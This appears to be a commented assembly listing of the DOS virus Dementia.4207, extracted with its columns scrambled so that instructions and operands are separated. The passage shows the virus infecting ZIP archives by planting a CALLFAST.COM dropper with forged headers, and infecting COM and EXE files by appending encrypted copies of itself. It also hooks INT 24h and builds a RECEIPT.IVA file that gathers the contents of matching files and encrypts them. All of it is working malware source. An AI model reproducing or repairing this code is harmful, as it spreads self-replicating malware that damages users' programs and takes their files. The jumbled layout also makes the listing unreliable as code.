cx,ds:[18h] ; CX = filename length bx,ds:[1ah] ; BX = extra field length cx,bx ; Add extra field length to filena... bx,ds:[1ch] ; BX = file comment length cx,bx ; CX = number of bytes to read

mov call

bx,[bp-08h] read_file_

; BX = file handle of ZIP file

mov

bx,[bp-0ah]

; BX = file handle of !#TEMP#!

; BX = file handle of !#TEMP#!

call

write_file_

mov mov call

cx,04h ; Read four bytes bx,[bp-08h] ; BX = file handle of ZIP file read_file_

mov cmp je

ax,ds:[00h] ax,'KP' test_eoc_sig

jmp test_eoc_sig: mov cmp je

call_mark_

jmp copy_eocds: mov mov call

copy_cds

ax,ds:[02h] ax,605h copy_eocds

; AX = low-order word of end of ce... ; Found low-order word of end of ...? ; Equal? Jump to test_eoc_sig

; AX = high-order word of end of c... ; Found high-order word of end of ... ; Equal? Jump to read_oecds

bx,[bp-08h] ; BX = file handle of ZIP file cx,12h ; Read eightteen bytes read_file

mov mov mov mov

ax,ds:[0ch] [bp-18h],ax ax,ds:[0eh] [bp-16h],ax

; ; ; ;

mov call

bx,[bp-0ah] write_file_

; BX = file handle of !#TEMP#!

mov mov call

cx,ds:[10h] bx,[bp-08h] read_file_

; CX = zipfile comment length ; BX = file handle of ZIP file

mov call

bx,[bp-0ah] write_file_

; BX = file handle of !#TEMP#!

mov or jz

ax,[bp-10h] ; AX = found REQUEST.IVA ax,ax ; Didn't found REQUEST.IVA test_callfas ; Zero? Jump to test_callfas

jmp test_callfas: mov or jz

test_receipt

jmp create_file_: lea nop call mov mov

call_mark_

AX = low-order word of offset of... Store low-order word of offset o... AX = high-order word of offset o... Store high-order word of offset ...

ax,[bp-0eh] ; AX = found CALLFAST.COM ax,ax ; Didn't found CALLFAST.COM create_file_ ; Zero? Jump to create_file_

dx,callfast_com create_file [bp-14h],ax bx,[bp-14h]

; DX = offset of callfast_com

; Store file handle of CALLFAST.COM ; BX = file handle of CALLFAST.COM

mov nop lea nop call

cx,(file_end-file_begin)

call

close_file

dx,file_begin write_file_

; DX = offset of file_begin

mov mov

ax,01h ; Don't test filesize [tst_filesize],ax ; Store don't test filesize

lea nop call

dx,callfast_com

xor mov

ax,ax ; Test filesize [tst_filesize],ax ; Store test filesize

push pop

cs ds

; Save CS at stack ; Load DS from stack (CS)

push pop

cs es

; Save CS at stack ; Load ES from stack (CS)

lea nop lea nop mov rep open_filenam: push pop

; DX = offset of callfast_com

inf_com_exe

si,callfast_com di,filename

; SI = offset of callfast_com ; DI = offset of filename

cx,0dh movsb

; Move thirteen bytes ; Move CALLFAST.COM to filename

cs ds

; Save CS at stack ; Load DS from stack (CS)

lea nop call

dx,filename

; DX = offset of filename

call mov mov

set_pos_eof [bp-1ch],ax [bp-1ah],dx

; Store low-order word of filesize ; Store high-order word of filesize

call mov mov

calc_crc32 [bp-20h],ax [bp-1eh],dx

; Store low-order word of CRC-32 c... ; Store high-order word of CRC-32 ...

mov mov mov call

bx,[bp-08h] cx,[bp-16h] dx,[bp-18h] set_pos_sof_

mov add mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer

mov mov mov mov mov mov xor mov mov mov mov mov mov mov mov mov

ax,'KP' ; AX = low-order word of local hea... ds:[00h],ax ; Store low-order word of local he... ax,403h ; AX = high-order word of local hea... ds:[02h],ax ; Store high-order word of local he... ax,0ah ; AX = version needed to extract (v... ds:[04h],ax ; Store version needed to extract (... ax,ax ; AX = general purpose bit flag and... ds:[06h],ax ; Store general purpose bit flag ds:[08h],ax ; Store compression method (the fil... ax,3021h ; AX = last modified file time ds:[0ah],ax ; Store last modified file time ax,1ae1h ; AX = last modified file date ds:[0ch],ax ; Store last modified file date ax,[bp-20h] ; AX = low-order word of CRC-32 ch... ds:[0eh],ax ; Store low-order word of CRC-32 c... ax,[bp-1eh] ; AX = high-order word of CRC-32 c...

open_file

; BX = file handle of ZIP file ; CX = high-order word of offset o... ; DX = low-order word of offset of...

mov mov mov mov mov mov mov mov mov xor mov

ds:[10h],ax ; Store high-order word of CRC-32 ... ax,[bp-1ch] ; AX = low-order word of filesize ds:[12h],ax ; Store low-order word of compress... ds:[16h],ax ; Store low-order word of uncompre... ax,[bp-1ah] ; AX = high-order word of filesize ds:[14h],ax ; Store high-order word of compres... ds:[18h],ax ; Store high-order word of uncompr... ax,0ch ; AX = filename length (12 bytes) ds:[1ah],ax ; Store filename length (12 bytes) ax,ax ; AX = extra field length (0 bytes) ds:[1ch],ax ; Store extra field length (0 bytes)

mov call

cx,1eh write_file

; Write thirty bytes

push pop

cs ds

; Save CS at stack ; Load DS from stack (CS)

lea nop mov nop call

dx,filename

mov add mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer

mov call copy_callfas: mov mov call cmp je mov mov call jmp copy_cds_: mov call cpy_cds_loop: mov cmp je

cx,0ch

; DX = offset of filename ; Write twelve bytes

write_file_

bx,[bp-14h] set_pos_sof

; BX = file handle of CALLFAST.COM

bx,[bp-14h] ; BX = file handle of CALLFAST.COM cx,400h ; Read one thousand and twenty-fou... read_file ax,00h ; Read all of the file? copy_cds_ ; Equal? Jump to copy_cds_ cx,ax ; CX = number of bytes actually read bx,[bp-08h] ; BX = file handle of ZIP file write_file copy_callfas bx,[bp-0ah] set_pos_sof

; BX = file handle of !#TEMP#!

ax,[bp-0ch] ; AX = number of central directory... ax,00h ; No central directory file header? wrt_last_cds ; Equal? Jump to write_last_cds

dec mov

ax ; Decrease number of central direc... [bp-0ch],ax ; Store number of central director...

mov mov mov mov

ax,'KP' ds:[00h],ax ax,201h ds:[02h],ax

mov mov mov call

bx,[bp-0ah] ; BX = file handle of !#TEMP#! cx,2ah ; Read forty-two bytes dx,04h ; DX = offset of central directory... read_file_

; AX = low-order word of central d... ; Store low-order word of central ... ; AX = high-order word of central ... ; Store high-order word of central...

mov mov add mov add

cx,ds:[1ch] ; CX = filename length dx,ds:[1eh] ; DX = extra field length cx,dx ; Add extra field length to filena... dx,ds:[20h] ; DX = file comment length cx,dx ; CX = number of bytes to read

push mov call

cx dx,2eh read_file_

mov pop add call

bx,[bp-08h] ; BX = file handle of ZIP file cx ; Load CX from stack cx,2eh ; Add size of central directory fi... write_file

jmp wrt_last_cds: mov mov mov xor mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov xor mov mov mov mov mov mov mov mov mov mov

; Save CX at stack ; DX = offset of central directory...

cpy_cds_loop ax,0ah ds:[04h],ax ds:[06h],ax ax,ax ds:[08h],ax ds:[0ah],ax ax,3021h ds:[0ch],ax ax,1ae1h ds:[0eh],ax ax,[bp-20h] ds:[10h],ax ax,[bp-1eh] ds:[12h],ax ax,[bp-1ch] ds:[14h],ax ds:[18h],ax ax,[bp-1ah] ds:[16h],ax ds:[1ah],ax ax,0ch ds:[1ch],ax ax,ax ds:[1eh],ax ds:[20h],ax ds:[22h],ax ds:[24h],ax ds:[26h],ax ds:[28h],ax ax,[bp-18h] ds:[2ah],ax ax,[bp-16h] ds:[2ch],ax

; AX = version made by (version 1.... ; Store version made by (version 1... ; Store version needed to extract (... ; AX = general purpose bit flag and... ; Store general purpose bit flag ; Store compression method (the fil... ; AX = last modified file time ; Store last modified file time ; AX = last modified file date ; Store last modified file date ; AX = low-order word of CRC-32 ch... ; Store low-order word of CRC-32 c... ; AX = high-order word of CRC-32 c... ; Store high-order word of CRC-32 ... ; AX = low-order word of filesize ; Store low-order word of compress... ; Store low-order word of uncompre... ; AX = high-order word of filesize ; Store high-order word of compres... ; Store high-order word of compres... ; AX = filename length (12 bytes) ; Store filename length (12 bytes) ; AX = extra field length, file co... ; Store extra field length (0 bytes) ; Store file comment length (0 bytes) ; Store disk number start (0 bytes) ; Store internal file attributes ; Store low-order word of external... ; Store high-order word of externa... ; AX = low-order word of offset of... ; Store low-order word of relative... ; AX = high-order word of offset o... ; Store high-order word of relativ...

mov mov call

bx,[bp-08h] ; BX = file handle of ZIP file cx,2eh ; Write forty-six bytes write_file

push pop

cs ds

lea nop mov nop call

dx,filename cx,0ch write_file_

; Save CS at stack ; Load DS from stack (CS) ; DX = offset of filename ; Write twelve bytes

mov add mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer

mov mov mov mov

ax,'KP' ds:[00h],ax ax,605h ds:[02h],ax

mov mov mov call

bx,[bp-0ah] ; BX = file handle of !#TEMP#! cx,12h ; Read eightteen bytes dx,04h ; DX = offset of end of central di... read_file_

mov push mov call

cx,ds:[14h] ; CX = zipfile comment length cx ; Save CX at stack dx,16h ; DX = offset of zipfile comment read_file_

mov inc mov mov inc mov mov mov add nop adc mov mov mov mov add nop adc mov add mov add adc mov mov

ax,ds:[08h] ; AX = total number of entries in ... ax ; Increase total number of entries... ds:[08h],ax ; Store total number of entries in... ax,ds:[0ah] ; AX = total number of entries in ... ax ; Increase total number of entries... ds:[0ah],ax ; Store total number of entries in... ax,ds:[0ch] ; AX = low-order word of size of t... dx,ds:[0eh] ; DX = high-order word of size of ... ax,3ah ; Add size of central directory fi...

mov pop add call

bx,[bp-08h] ; BX = file handle of ZIP file cx ; Load CX from stack cx,16h ; Add size of end of central direc... write_file

mov call

bx,[bp-14h] close_file

; BX = file handle of CALLFAST.COM

lea nop call

dx,filename

; DX = offset of filename

jmp test_receipt: mov or jz

; AX = low-order word of end of ce... ; Store low-order word of end of c... ; AX = high-order word of end of c... ; Store high-order word of end of ...

dx,00h ; Convert to 32-bit ds:[0ch],ax ; Store low-order word of size of ... ds:[0eh],dx ; Store high-order word of size of... ax,ds:[10h] ; AX = low-order word of offset of... dx,ds:[12h] ; DX = high-order word of offset o... ax,2ah ; Add size of local file header to... dx,00h bx,[bp-1ah] dx,bx bx,[bp-1ch] ax,bx dx,00h ds:[10h],ax ds:[12h],dx

; Convert to 32-bit ; BX = high-order word of filesize ; Add high-order word of filesize ... ; BX = low-order word of filesize ; Add low-order word of filesize t... ; Convert to 32-bit ; Store low-order word of offset o... ; Store high-order word of offset ...

delete_file call_mark_ ax,[bp-12h] ; AX = found RECEIPT.IVA ax,ax ; Didn't found RECEIPT.IVA exam_extra ; Zero? Jump to exam_extra

jmp exam_extra: mov mov mov call

call_mark_ bx,[bp-08h] cx,[bp-22h] dx,[bp-24h] set_pos_sof_

; BX = file handle of ZIP file ; CX = high-order word of extra field ; DX = low-order word of extra field

mov add mov mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer es,ax ; ES = segment of data buffer

mov call

cx,400h read_file

cld xor xor lodsw cmp je

; Read one thousand and twenty-fou...

; Clear direction flag ; Zero SI ; Zero DI ; AX = word of extra field ax,1492h ; Found infection mark? comp_extra ; Equal? Jump to comp_extra si,si di,di

jmp comp_extra: lodsw cmp je

call_mark_

jmp load_extra: lodsw mov lodsb

call_mark_

xor mov push decrypt_next: push mov decrypt_spec: lodsw xor stosw

cx,cx cl,al ax

; Zero CX ; CL = number of filespecification ; Save AX at stack

cx cx,07h

; Save CX at stack ; Decryption fourteen bytes

; AX = word of extra field ax,1776h ; Found infection mark? load_extra ; Equal? Jump to load_extra

dx,ax

ax,dx

; AX = 16-bit decryption key ; DX = " " " ; AL = number of file specifications

; AX = word of encrypted file spec... ; Decrypt word of file specification ; Store word of file specification

loop

decrypt_spec

pop

cx

loop

decrypt_next

mov add mov

ax,ds ax,40h es,ax

; AX = segment of data buffer ; AX = segment of pathname ; ES = " " "

push push pop

ds es ds

; Save DS at stack ; Save ES at stack ; Load DS from stack (ES)

mov xor xor

ah,47h dl,dl si,si

; Get current directory ; Default drive ; Zero SI

; Load CX from stack

int pop

21h ds

; Load DS from stack

mov add mov

ax,es ax,04h es,ax

; AX = segment of pathname ; AX = segment of end of pathname ; ES = " " " " "

xor mov stosb xor stosb

di,di al,'\'

push mov int mov mov pop

es ; Save ES at stack ah,2fh ; Get disk transfer area address 21h [bp-26h],es ; Store segment of disk transfer a... [bp-28h],bx ; Store offset of disk transfer ar... es ; Load ES from stack

push mov add mov

ds ; Save DS at stack ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+48h ds,ax ; DS = segment of disk transfer area

xor mov int

dx,dx ah,1ah 21h

lea nop call mov mov pop

dx,receipt_iva

pop mov call

ax ; Load AX from stack dx,01h ; Don't store backslash create_recei

mov call

bx,[bp-14h] set_pos_sof

mov add mov mov encrypt_rece: mov call cmp je

al,al

; Zero DI ; AL = backslash ; Store backslash ; AL = zero ; Store zero

; Zero DX ; Set disk transfer area address

; DX = offset of receipt_iva

create_file bx,ax ; BX = file handle of RECEIPT.IVA [bp-14h],ax ; Store file handle of RECEIPT.IVA ds ; Load DS from stack

; BX = file handle of RECEIPT.IVA

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+48h ds,ax ; DS = segment of disk transfer area es,ax ; ES = " " " " " cx,400h ; Read one thousand and twenty-fou... read_file ax,00h ; Read all of the file? set_dta_addr ; Equal? Jump to set_dta_addr

push xor sub mov call

ax ; Save AX at stack dx,dx ; Zero DX dx,ax ; DX = -number of bytes actually read cx,-01h set_pos_cfp

pop push

ax ax

; Load AX from stack ; Save AX at stack

mov

cx,ax

; CX = number of bytes actually read

xor xor encrypt_ipt_: lodsb xor stosb loop pop mov call jmp set_dta_addr: call

si,si di,di

; Zero SI ; Zero DI

; AL = byte of RECEIPT.IVA ; Encrypt byte of RECEIPT.IVA ; Store encrypted byte of RECEIPT.IVA encrypt_ipt_ al,0ffh

ax cx,ax write_file

; Load AX from stack ; CX = number of bytes actually read

encrypt_rece close_file

mov mov mov int

ds,[bp-26h] ; DS = segment of disk transfer area dx,[bp-28h] ; DX = offset of disk transfer area ah,1ah ; Set disk transfer area address 21h

mov add mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+40h ds,ax ; DS = segment of data buffer

xor mov int

dx,dx ah,3bh 21h

; Zero DX ; Set current directory

push pop

cs ds

; Save CS at stack ; Load DS from stack (CS)

push pop

cs es

; Save CS at stack ; Load ES from stack (CS)

lea nop lea nop mov rep

si,receipt_iva

; SI = offset of receipt_iva

di,filename

; DI = offset of filename

jmp call_mark_: mov call

cx,0dh movsb

; Move thirteen bytes ; Move RECEIPT.IVA to filename

open_filenam bx,[bp-08h] infect_mark

; BX = file handle of ZIP file

mov call

bx,[bp-08h] close_file

; BX = file handle of ZIP file

mov call

bx,[bp-0ah] close_file

; BX = file handle of !#TEMP#!

dx,temp_file

; DX = offset of temp_file

lea nop call inf_zip_exit: call

delete_file int24_load

pop

es ds di si dx cx bx ax

mov

sp,bp

; SP = stack pointer

pop

bp

ret endp

; Load BP from stack ; Return!

infect_com proc near push bp mov bp,sp sub sp,04h

; Infect COM file ; Save BP at stack ; BP = stack pointer ; Correct stack pointer

mov nop nop mov

ah,00h

mov mov mov mov

ax,ds:[00h] ; AX = word of original code of CO... word ptr cs:[origin_code],ax al,ds:[02h] ; AL = byte of original code of CO... cs:[origin_code+02h],al

call

encrypt_copy

call mov mov

set_pos_eof [bp-04h],ax [bp-02h],dx

push mov cmp pop je

ax ; Save AX at stack ax,cs:[tst_filesize] ax,01h ; Don't test filesize? ax ; Load AX from stack calc_buf_seg ; Equal? Jump to calc_buf_seg

cmp jne cmp jb calc_buf_seg: add jb

; COM executable

cs:[com_or_exe],ah

; Store COM executable

; Store low-order word of filesize ; Store high-order word of filesize

dx,00h ; Filesize too large? inf_com_exit ; Not equal? Jump to inf_com_exit ax,1000h ; Filesize too small? inf_com_exit ; Below? Jump to inf_com_exit ax,(code_end-code_begin) inf_com_exit ; Filesize too large? Jump to inf_...

mov add mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer

mov mov and sub

cx,10h ; CX = number of bytes to add to f... ax,[bp-04h] ; AX = filesize ax,0000000000001111b cx,ax ; CX = number of bytes to add to f...

mov add mov

ax,[bp-04h] ; AX = filesize ax,cx ; AX = offset of virus within file [bp-04h],ax ; Store offset of virus within file

call

write_file_

mov call

cx,(code_end-code_begin) write_file

mov mov

al,0e9h ds:[00h],al

mov sub

ax,[bp-04h] ; AX = filesize ax,03h ; Subtract size of opcode JMP imm16

; JMP imm16 (opcode 0e9h) ; Store JMP imm16

mov

ds:[01h],ax

call

set_pos_sof

mov call inf_com_exit: mov pop

; Store 16-bit immediate

cx,03h write_file

; Write three bytes

sp,bp

; SP = stack pointer

bp

; Load BP from stack

ret endp

; Return!

infect_exe proc near push bp mov bp,sp sub sp,04h

; Infect EXE file ; Save BP at stack ; BP = stack pointer ; Correct stack pointer

mov nop nop mov

ah,01h

; EXE executable

call mov mov

set_pos_eof [bp-04h],ax [bp-02h],dx

and mov sub

ax,0000000000001111b cx,10h ; CX = number of bytes to add to f... cx,ax ; CX = " " " " " " "

mov mov add adc mov mov

ax,[bp-04h] ; AX = low-order word of filesize dx,[bp-02h] ; DX = high-order word of filesize ax,cx ; Add number of bytes to add to fi... dx,00h ; Convert to 32-bit [bp-04h],ax ; Store low-order word of pointer ... [bp-02h],dx ; Store high-order word of pointer...

call

write_file_

push mov mov

bx ; Save BX at stack ax,[bp-04h] ; AX = low-order word of pointer t... dx,[bp-02h] ; DX = high-order word of pointer ...

mov mov shr sub

bx,ds:[08h] ; BX = header size in paragraphs cl,0ch ; Divide by four thousand and nine... bx,cl ; BX = header size in sixty-five t... dx,bx ; Subtract header size in sixty fi...

mov mov shl sub sbb mov mov pop

bx,ds:[08h] cl,04h bx,cl ax,bx dx,00h [bp-04h],ax [bp-02h],dx bx

mov mov mov mov

ax,ds:[14h] ; AX = original instruction pointer cs:[instruct_ptr],ax ax,ds:[16h] ; AX = original code segment cs:[code_seg],ax ; Store original code segment

cs:[com_or_exe],ah

; Store EXE executable

; Store low-order word of filesize ; Store high-order word of filesize

; BX = header size in paragraphs Multiply by paragraphs BX = header size Subtract header size from filesize Convert to 32-bit ; Store low-order word of pointer ... ; Store high-order word of pointer... ; Load BX from stack ; ; ; ;

xor mov mov

ax,ax ; Zero AX ds:[14h],ax ; Store initial IP cs:[initial_ip],ax ; Store "

mov test jz

ax,[bp-02h] ; AX = high-order word of pointer ... ax,1111111111110000b calc_ins_ptr ; Zero? Jump to calc_ins_ptr

jmp calc_ins_ptr: mov shl

"

inf_exe_exit cl,0ch ax,cl

; Multiply by sixty-five thousand ...

mov mov shr add mov mov

dx,[bp-04h] ; DX = low-order word of pointer t... cl,04h ; Divide by paragraphs dx,cl ; DX = low-order word of pointer t... ax,dx ; AX = initial CS relative to star... ds:[16h],ax ; Store initial CS relative to sta... cs:[initial_cs],ax ; " " " " " "

push mov mov mov mov pop

ax ; Save AX at stack ax,ds:[0eh] ; AX = initial SS relative to star... cs:[stack_seg],ax ; Store initial SS relative to sta... ax,ds:[10h] ; AX = initial SP cs:[stack_ptr],ax ; Store initial SP ax ; Load AX from stack

add jae

ax,(code_end-code_begin+0fh)/10h store_stack ; Above or equal? Jump to store_stack

jmp store_stack: mov mov mov

inf_exe_exit ds:[0eh],ax ax,100h ds:[10h],ax

; Store initial SS relative to sta... ; AX = initial SP ; Store initial SP

push mov mov

bx ; Save BX at stack ax,[bp-04h] ; AX = low-order word of pointer t... dx,[bp-02h] ; DX = high-order word of pointer ...

mov mov shr add

bx,ds:[08h] ; BX = header size in paragraphs cl,0ch ; Divide by four thousand and nine... bx,cl ; BX = header size in sixty-five t... dx,bx ; Add header size in sixty-five th...

mov mov shl add adc mov mov pop

bx,ds:[08h] cl,04h bx,cl ax,bx dx,00h [bp-04h],ax [bp-02h],dx bx

mov mov add adc

ax,[bp-04h] ; AX = low-order word of pointer t... dx,[bp-02h] ; DX = high-order word of pointer ... ax,(code_end-code_begin) dx,00h ; Convet to 32-bit

mov shl

cl,07h dx,cl

; BX = header size in paragraphs Multiply by paragraphs BX = header size Add header size to filesize Convert to 32-bit ; Store low-order word of pointer ... ; Store high-order word of pointer... ; Load BX from stack ; ; ; ;

; Multiply by one hundred and twen...

push mov shr add pop

ax cl,09h ax,cl dx,ax ax

and jz

ax,0000000000011111b store_pages ; Zero? Jump to store_pages

inc

dx

jmp store_pages: mov store_pages_: mov mov mov cmp jae mov store_maximu: mov

; ; ; ; ;

; Increase number of bytes on last...

store_pages_ ax,200h

; AX = total number of 512-bytes p...

ds:[02h],ax ds:[04h],dx

; Store total number of 512-bytes ... ; Store number of bytes on last 51...

ax,ds:[0ch] ; AX = maximum paragraphs to alloc... ax,10h ; Maximum paragraphs to allocate ...? store_maximu ; Above or equal? Jump to store_ma... ax,10h

; AX = new maximum paragraphs to a...

ds:[0ch],ax

call

set_pos_sof

mov call

cx,20h write_file

call

set_pos_eof

call

encrypt_copy

mov call inf_exe_exit: mov pop

Save AX at stack Divide by pages AX = low-order word of pointer t... DX = number of bytes on last 512... Load AX from stack

; Store maximum paragraphs to allo...

; Write thirty-two bytes

cx,(code_end-code_begin) write_file sp,bp

; SP = stack pointer

bp

; Load BP from stack

ret endp

; Return!

encrypt_copy proc push bx

near

; Move virus to data buffer and en... ; Save BX at stack

mov int mov xor

ah,2ch 21h bx,cx bx,dx

; Get system time

mov int xor xor mov

ah,2ah 21h bx,cx bx,dx dx,bx

; Get system date

mov

cs:[decrypt_key],dx ; Store decryption key

pop

bx

; BX = hour and minute ; BX = 16-bit random number

; BX = 16-bit random number ; BX = decryption key ; DX = " "

; Load BX from stack

cld mov add mov

; Clear direction flag ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h es,ax ; ES = segment of data buffer

push pop

cs ds

xor xor mov rep

si,si ; Zero SI di,di ; Zero DI cx,(code_end-code_begin) movsb ; Move virus to data buffer

push pop

es ds

lea mov mov

si,crypt_begin-02h ; SI = offset of crypt_end di,si ; DI = " " " cx,(crypt_begin-crypt_end-02h)/02h

std encrypt_loop: lodsw xor stosw loop

; Save CS at stack ; Load DS from stack (CS)

; Save ES at stack ; Load DS from stack (ES)

; Set direction flag

ax,dx

; AX = word of plain code ; Encrypt word ; Store encrypted word

encrypt_loop

cld

; Clear direction flag

ret endp

; Return!

int24_store proc near push bx dx ds es

; Get and set interrupt vector 24h ; Save registers at stack

mov int mov mov

ax,3524h ; Get interrupt vector 24h 21h word ptr cs:[int24_addr],bx word ptr cs:[int24_addr+02h],es

push pop

cs ds

lea mov int

dx,int24_virus+110h ; DX = offset of int24_virus + 110h ax,2524h ; Set interrupt vector 24h 21h

pop

es ds dx bx

ret endp

; Save CS at stack ; Load DS from stack (CS)

; Load registers from stack

; Return!

int24_load proc near push dx ds

; Set interrupt vector 24h ; Load registers from stack

mov mov mov int

dx,word ptr cs:[int24_addr] ds,word ptr cs:[int24_addr+02h] ax,2524h ; Set interrupt vector 24h 21h

pop

ds dx

; Load registers from stack

ret endp

; Return!

int24_virus proc near mov al,03h iret endp

; Interrupt 24h of Dementia.4207 ; Fail system call in progress ; Interrupt return!

calc_crc32 proc near ; Calculate CRC-32 checksum mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer add mov

ax,40h es,ax

; AX = segment of CRC-32 table ; ES = " " " "

xor xor gen_crc_tab: xor xor

di,di cx,cx

; Zero DI ; Zero CX

dx,dx ax,ax

; Zero DX ; Zero AX

mov push mov gen_crc_loop: clc rcr rcr jnc

al,cl cx cx,08h

; AL = counter ; Save CX at stack ; Calculate each CRC-32 table entr...

xor xor carry_loop: loop

dx,0edb8h ax,8320h

; Clear carry flag dx,01h ; Rotate DX through carry one bit ... ax,01h ; Rotate AX through carry one bit ... carry_loop ; No carry? Jump to carry_loop ; DX = high-order word of CRC-32 t... ; AX = low-order word of CRC-32 ta...

gen_crc_loop

mov mov

es:[di],ax es:[di+02h],dx

add

di,04h

pop inc cmp jne

cx ; Load CX from stack cx ; Increase count register cx,100h ; Generated enough CRC-32 table en... gen_crc_tab ; Not equal? Jump to gen_crc_tab

call

set_pos_sof

mov mov read_block: push mov call cmp je

dx,0ffffh ax,0ffffh

; Store low-order word of CRC-32 t... ; Store high-order word of CRC-32 ...

; DI = offset of next CRC-32 table...

; DX = high-order word of CRC-32 c... ; AX = low-order word of CRC-32 ch...

ax dx ; Save registers at stack cx,400h ; Read one thousand and twenty-fou... read_file ax,00h ; Read all of the file? calc_crc_xit ; Equal? Jump to calc_crc_xit

mov

cx,ax

; CX = number of bytes actually read

pop

dx ax

; Load registers from stack

xor

si,si

; Zero SI

cal_crc_loop: push xor mov inc

bx cx bh,bh bl,[si] si

; Save registers at stack ; Zero BH ; BL = byte of file ; Increase index register

xor mov shl mov

bl,al cl,02h bx,cl di,bx

; Exclusive OR (XOR) byte of file ...

mov mov mov xor

al,ah ah,dl dl,dh dh,dh

; ; ; ;

mov xor mov xor

bx,es:[di] ; BX = low-order word of CRC-32 ta... ax,bx ; AX = low-order word of CRC-32 ch... bx,es:[di+02h] ; BX = high-order word of CRC-32 t... dx,bx ; DX = high-order word of CRC-32 c...

pop

cx bx

loop

cal_crc_loop

jmp calc_crc_xit: pop xor xor

; Multiply by four ; DI = offset of next CRC-32 table... AL = AH = DL = Zero

low-order byte of low-order... high-order byte of low-orde... low-order byte of high-orde... DH

; Load registers from stack

read_block dx ax

; Load registers from stack

dx,0ffffh ax,0ffffh

ret endp

; DX = high-order word of CRC-32 c... ; AX = low-order word of CRC-32 ch...

; Return!

create_recei proc near push bp mov bp,sp sub sp,12h

; Create RECEIPT.IVA file ; Save BP at stack ; BP = stack pointer ; Correct stack pointer

mov mov mov mov

[bp-08h],ax [bp-10h],bx [bp-02h],dx [bp-06h],ds

mov

ah,3bh

; Set current directory

push pop

es ds

; Save ES at stack ; Load DS from stack (ES)

xor int

dx,dx 21h

; Zero DX

mov xor mov xor find_first_: mov push mov call push

; ; ; ;

Store Store Store Store

number of file specifications file handle of RECEIPT.IVA store or don't store backs... segment of file specificat...

ax,[bp-08h] ; AX = number of file specifications cx,cx ; Zero CX cl,al ; CL = number of file specifications dx,dx ; Zero DX ds,[bp-06h] ; DS = segment of file specification cx ; Save CX at stack cx,0000000000000111b find_first dx ; Save DX at stack

jnc jmp find_next_: mov add mov

find_next_

; No error? Jump to find_next_

fnd_nxt_loop ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+48h ds,ax ; DS = segment of disk transfer area

mov call mov

dx,1eh ; DX = offset of filename open_file [bp-12h],ax ; Store file handle of file within...

mov call

bx,[bp-10h] set_pos_eof

push mov add mov

ds ; Save DS at stack ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+44h ds,ax ; DS = segment of end of pathname

mov mov call pop

cx,40h ; Write sixty-four bytes bx,[bp-10h] ; BX = file handle of RECEIPT.IVA write_file ds ; Load DS from stack

mov mov call

cx,0eh ; Write fourteen bytes dx,1eh ; DX = offset of filename write_file_

mov add mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+4ch ds,ax ; DS = segment of data buffer

mov call mov mov

bx,[bp-12h] set_pos_eof ds:[00h],ax ds:[02h],dx

mov mov call

bx,[bp-10h] ; BX = file handle of RECEIPT.IVA cx,04h ; Write four bytes write_file

mov call copy_file: mov mov call cmp je mov mov call jmp call_fnd_nxt: mov call call jc

bx,[bp-12h] set_pos_sof

; BX = file handle of RECEIPT.IVA

; BX = file handle of file within ... ; Store low-order word of filesize ; Store high-order word of filesize

; BX = file handle of file within ...

bx,[bp-12h] ; BX = file handle of file within ... cx,400h ; Read one thousand and twenty-fou... read_file ax,00h ; Read all of the file? call_fnd_nxt ; Equal? Jump to call_fnd_nxt cx,ax ; CX = number of bytes actually read bx,[bp-10h] ; BX = file handle of RECEIPT.IVA write_file copy_file bx,[bp-12h] close_file find_next fnd_nxt_loop

; BX = file handle of file within ...

; Error? Jump to fnd_nxt_loop

jmp fnd_nxt_loop: pop

find_next_ dx cx

; Load registers from stack

add

dx,0eh

; DX = offset of next file specifi...

dec cmp je

cx cx,00h copy_name

; Decrease count register ; No more files? ; Equal? Jump to copy_name

jmp copy_name: xor find_first__: push push pop

find_first_ cx,cx

; Zero CX

cx cs ds

; Save CX at stack ; Save CS at stack ; Load DS from stack (CS)

lea nop mov call jc

dx,file_specifi

pop push

cx cx

; DX = offset of file_specifi

cx,0000000000010111b find_first receip_exit ; Error? Jump to receip_exit ; Load CX from stack ; Save CX at stack

jmp found_dir: push

test_count cx

; Save CX at stack

mov test_count: cmp je

cx,01h

; Don't examine disk transfer area

cx,00h ; Examine disk transfer area? examine_dta ; Equal? Jump to examine_dta

call jc

find_next receipt_exit

dec

cx

jmp examine_dta: pop inc

; Error? Jump to receipt_exit ; Decrease CX

test_count cx cx

; Load CX from stack ; Increase count register

mov add mov add mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+44h es,ax ; ES = segment of end of pathname ax,04h ; AX = segment of disk transfer area ds,ax ; DS = " " " " "

mov lodsb test je

si,15h

mov lodsb cmp je

si,1eh

mov

ax,[bp-02h]

; SI = offset of attribute of file... ; AL = attribute of file found al,00010000b ; Directory? found_dir ; Equal? Jump to found_dir ; SI = offset of filename ; AL = byte of filename al,'.' ; Directory? found_dir ; Equal? Jump to found_dir ; AX = store or don't store backslash

mov mov cmp je

di,ax si,1eh al,01h copy_name_

mov stosb copy_name_: lodsb cmp je

al,'\'

; AL = backslash ; Store backslash

; AL = byte of filename al,00h ; End of filename? store_zero ; Equal? Jump to store_zero

stosb jmp store_zero: mov xor stosb

; DI = offset of end of pathname ; SI = offset of filename ; Don't store backslash? ; Equal? Jump to copy_name_

; Store byte of filename copy_name_ dx,di al,al

; DX = offset of end of pathname ; AL = zero ; Store zero

mov mov mov push call pop

